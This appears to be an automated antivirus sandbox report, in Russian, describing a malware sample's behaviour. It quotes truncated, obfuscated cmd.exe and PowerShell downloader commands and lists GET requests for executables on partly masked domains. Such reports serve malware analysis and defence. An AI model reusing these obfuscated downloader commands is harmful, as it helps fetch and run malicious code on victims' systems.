Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' wMic wMic wMic wMic & %Co^m^S^p^Ec^% /V /c set %wwHHYUcSQFKmKaQ%=jTiEnrzUA&&set %uabSAfsGF%=owe^r^s&&set %TRJwOjmUwjvIzDX%=iVLWSdrwa&&set %cnqTWliaD%=p&&set %...
Сетевая активность
Подключается к
- 'se####daaron.com':80
- 'af#####reatividad.com':80
TCP
Запросы HTTP GET
- http://se####daaron.com/hxbwepq.exe
- http://af#####reatividad.com/fhjxcit.exe
UDP
- DNS ASK pa####narecados.com
- DNS ASK mo#####ngineering.co.za
- DNS ASK se####daaron.com
- DNS ASK af#####reatividad.com
- DNS ASK di###iavi.net
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' wMic wMic wMic wMic & %Co^m^S^p^Ec^% /V /c set %wwHHYUcSQFKmKaQ%=jTiEnrzUA&&set %uabSAfsGF%=owe^r^s&&set %TRJwOjmUwjvIzDX%=iVLWSdrwa&&set %cnqTWliaD%=p&&set %...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' " (' (53h .( sITenV:PUbLIC[13]+sITeNV:PuBLic[5]+hOmXhOm) 53h+5'+'3h'+'((hOmrHIhOm+hOmfhOm+hOmran'+'c = hOm+hOmnew-ohOm+hOmbject System.hOm+hOmNethOm+hOm.WehOm'+'+hOmbChOm+h'+'Omlient;rhO'+'m+hO...
